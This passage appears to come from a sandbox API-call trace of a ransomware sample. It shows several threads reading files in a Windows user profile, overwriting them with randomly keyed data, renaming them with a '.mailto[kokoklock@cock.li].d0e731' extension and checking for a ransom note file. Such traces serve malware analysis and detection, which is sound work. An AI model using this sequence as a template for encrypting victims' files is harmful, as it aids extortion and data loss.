nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0xe5bf9e4*, lpNumberOfBytesRead=0xe5bf9e0*=0x4, lpOverlapped=0x0) returned 1 [0067.029] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.029] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0067.029] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b78 [0067.029] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ba0 [0067.029] NtQuerySystemTime (in: CurrentTime=0xe5bf9bc | out: CurrentTime=0xe5bf9bc*=132121176249279687) returned 0x0 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xc3ea53bc [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xa2d15f08 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x9fdf0207 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xf8884c82 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x4d215378 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xe1232739 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x83aaa2a [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xcf91ea9d [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xef8334b0 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xd8c49d47 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xc51f01c9 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xc7a97695 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x896cee10 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x464cc357 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x3ad97066 [0067.029] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x9aceab37 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xd78c01ba [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xd60385bd [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x5a2e2d6e [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xbf79e2b3 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x71425195 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xde50d4fa [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x25f117e5 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x558bd398 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x7af203d [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x50e85c42 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xe7855fb5 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x11def4cb [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xf37d33f4 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x2bcc7857 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0xf9ecbd73 [0067.030] RtlRandom (in: Seed=0xe5bf9c8 | out: Seed=0xe5bf9c8) returned 0x8e5600e [0067.040] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.041] ReadFile (in: hFile=0x3b0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe5bf994, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xe5bf994*=0x4096, lpOverlapped=0x0) returned 1 [0067.041] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.041] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0067.041] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0067.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0067.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0067.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0067.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0067.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423df8 [0067.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423df8) returned 1 [0067.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0067.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0067.042] WriteFile (in: hFile=0x3b0, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe5bf994, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xe5bf994*=0x4096, lpOverlapped=0x0) returned 1 [0067.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0067.043] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.043] WriteFile (in: hFile=0x3b0, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe5bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0xe5bf9cc*=0x20, lpOverlapped=0x0) returned 1 [0067.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0067.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0067.043] WriteFile (in: hFile=0x3b0, lpBuffer=0x3423c40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x3423c40*, lpNumberOfBytesWritten=0xe5bf9e0*=0x8, lpOverlapped=0x0) returned 1 [0067.043] WriteFile (in: hFile=0x3b0, lpBuffer=0xe5bf9f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0xe5bf9f8*, lpNumberOfBytesWritten=0xe5bf9e0*=0x4, lpOverlapped=0x0) returned 1 [0067.043] WriteFile (in: hFile=0x3b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xe5bf9e0*=0x4, lpOverlapped=0x0) returned 1 [0067.043] WriteFile (in: hFile=0x3b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xe5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xe5bf9e0*=0x6c, lpOverlapped=0x0) returned 1 [0067.043] WriteFile (in: hFile=0x3b0, lpBuffer=0x3423b78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x3423b78*, lpNumberOfBytesWritten=0xe5bf9e0*=0x20, lpOverlapped=0x0) returned 1 [0067.043] WriteFile (in: hFile=0x3b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xe5bf9e0*=0x4, lpOverlapped=0x0) returned 1 [0067.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0067.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423bc8) returned 1 [0067.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c40) returned 1 [0067.044] CloseHandle (hObject=0x3b0) returned 1 [0068.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2b10 [0068.939] wcscpy (in: _Dest=0x33e2b10, _Source="C:\\Users\\Default\\NTUSER.DAT.LOG1" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1" [0068.939] wcscat (in: _Dest=0x33e2b10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731" [0068.939] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat.log1.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.940] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 1 [0068.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2b10) returned 1 [0068.940] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1", dwFileAttributes=0x26) returned 0 [0068.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480bc8 [0068.941] wcscpy (in: _Dest=0x3480bc8, _Source="C:\\Users\\Default\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0068.941] wcscat (in: _Dest=0x3480bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Default\\D0E731-Readme.txt") returned="C:\\Users\\Default\\D0E731-Readme.txt" [0068.941] GetFileAttributesW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt")) returned 0x20 [0068.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480bc8) returned 1 [0068.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa148) returned 1 [0068.941] RtlExitUserThread (Status=0x1) Thread: id = 304 os_tid = 0x1338 [0063.584] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2")) returned 0x26 [0064.635] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2", dwFileAttributes=0x20) returned 1 [0066.923] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0066.923] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0xe63fed8 | out: lpFileSize=0xe63fed8*=20480) returned 1 [0066.923] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x4ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.923] ReadFile (in: hFile=0x3c4, lpBuffer=0xe63feac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe63fea8, lpOverlapped=0x0 | out: lpBuffer=0xe63feac*, lpNumberOfBytesRead=0xe63fea8*=0x4, lpOverlapped=0x0) returned 1 [0066.925] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0066.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ad8 [0066.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b00 [0066.925] NtQuerySystemTime (in: CurrentTime=0xe63fe84 | out: CurrentTime=0xe63fe84*=132121176248180061) returned 0x0 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xc0f8b2f5 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x85c428cb [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xdde909f1 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xfa8226e0 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x6b1e7447 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x1f4ab91a [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xe7433322 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x2d72849 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x5277ece5 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xd831c981 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x6b654092 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xbde4c8c7 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x1b59edb2 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xd60cbc96 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xe86cea60 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x83373910 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x222e96c7 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x512ebdfa [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xdff9c8ba [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xe236e623 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xeb21ed1b [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x1a745453 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xac6eb759 [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x30b2b72c [0066.925] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x1cf933d [0066.926] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x89082159 [0066.926] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x89b30776 [0066.926] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x2975bfd1 [0066.926] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x24d42301 [0066.926] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0xfdd54e9d [0066.926] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x79a7d71d [0066.926] RtlRandom (in: Seed=0xe63fe90 | out: Seed=0xe63fe90) returned 0x838a5211 [0066.936] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.936] ReadFile (in: hFile=0x3c4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe63fe5c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xe63fe5c*=0x4096, lpOverlapped=0x0) returned 1 [0066.974] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0066.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0066.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423998 [0066.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423998) returned 1 [0066.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0066.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423970 [0066.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423970) returned 1 [0066.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0066.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0066.977] WriteFile (in: hFile=0x3c4, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe63fe5c, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xe63fe5c*=0x4096, lpOverlapped=0x0) returned 1 [0066.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.978] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x5000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.978] WriteFile (in: hFile=0x3c4, lpBuffer=0x3423948*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe63fe94, lpOverlapped=0x0 | out: lpBuffer=0x3423948*, lpNumberOfBytesWritten=0xe63fe94*=0x20, lpOverlapped=0x0) returned 1 [0066.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423948) returned 1 [0066.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.978] WriteFile (in: hFile=0x3c4, lpBuffer=0x3423bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe63fea8, lpOverlapped=0x0 | out: lpBuffer=0x3423bf0*, lpNumberOfBytesWritten=0xe63fea8*=0x8, lpOverlapped=0x0) returned 1 [0066.978] WriteFile (in: hFile=0x3c4, lpBuffer=0xe63fec0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe63fea8, lpOverlapped=0x0 | out: lpBuffer=0xe63fec0*, lpNumberOfBytesWritten=0xe63fea8*=0x4, lpOverlapped=0x0) returned 1 [0066.978] WriteFile (in: hFile=0x3c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe63fea8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xe63fea8*=0x4, lpOverlapped=0x0) returned 1 [0066.978] WriteFile (in: hFile=0x3c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xe63fea8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xe63fea8*=0x6c, lpOverlapped=0x0) returned 1 [0066.978] WriteFile (in: hFile=0x3c4, lpBuffer=0x3423ad8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe63fea8, lpOverlapped=0x0 | out: lpBuffer=0x3423ad8*, lpNumberOfBytesWritten=0xe63fea8*=0x20, lpOverlapped=0x0) returned 1 [0066.978] WriteFile (in: hFile=0x3c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe63fea8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xe63fea8*=0x4, lpOverlapped=0x0) returned 1 [0066.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ad8) returned 1 [0066.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b28) returned 1 [0066.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423bf0) returned 1 [0066.979] CloseHandle (hObject=0x3c4) returned 1 [0068.937] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e29f0 [0068.938] wcscpy (in: _Dest=0x33e29f0, _Source="C:\\Users\\Default\\NTUSER.DAT.LOG2" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2" [0068.938] wcscat (in: _Dest=0x33e29f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731" [0068.938] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat.log2.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.952] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 1 [0068.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e29f0) returned 1 [0068.952] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2", dwFileAttributes=0x26) returned 0 [0068.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480b78 [0068.952] wcscpy (in: _Dest=0x3480b78, _Source="C:\\Users\\Default\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0068.952] wcscat (in: _Dest=0x3480b78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Default\\D0E731-Readme.txt") returned="C:\\Users\\Default\\D0E731-Readme.txt" [0068.952] GetFileAttributesW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt")) returned 0x20 [0068.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480b78) returned 1 [0068.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa008) returned 1 [0068.952] RtlExitUserThread (Status=0x1) Thread: id = 305 os_tid = 0x133c [0063.584] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf")) returned 0x26 [0064.635] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", dwFileAttributes=0x20) returned 1 [0066.922] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0066.922] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0xe6bfb0c | out: lpFileSize=0xe6bfb0c*=65536) returned 1 [0066.922] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.922] ReadFile (in: hFile=0x3cc, lpBuffer=0xe6bfae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe6bfadc, lpOverlapped=0x0 | out: lpBuffer=0xe6bfae0*, lpNumberOfBytesRead=0xe6bfadc*=0x4, lpOverlapped=0x0) returned 1 [0066.962] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0066.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423bc8 [0066.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423c18 [0066.962] NtQuerySystemTime (in: CurrentTime=0xe6bfab8 | out: CurrentTime=0xe6bfab8*=132121176248621582) returned 0x0 [0066.962] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x72c7d909 [0066.962] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x919f20d5 [0066.962] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xccd77858 [0066.962] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x455e8656 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x9bdf4aef [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x13ac6e69 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x95518663 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x825eb583 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xd37d10c8 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x6151e0d9 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x2d286b2c [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xa9e889ea [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x11af54e8 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xb3a2b943 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x6af5681d [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x49123dd8 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x8ff54f2f [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x636f8dfe [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x40e7dd9e [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x5ce400bb [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xda9e5ba3 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x881f988 [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0xceb6cc3b [0066.963] RtlRandom (in: Seed=0xe6bfac4 | out: Seed=0xe6bfac4) returned 0x3d020b77 [0066.963] RtlRandom (in: 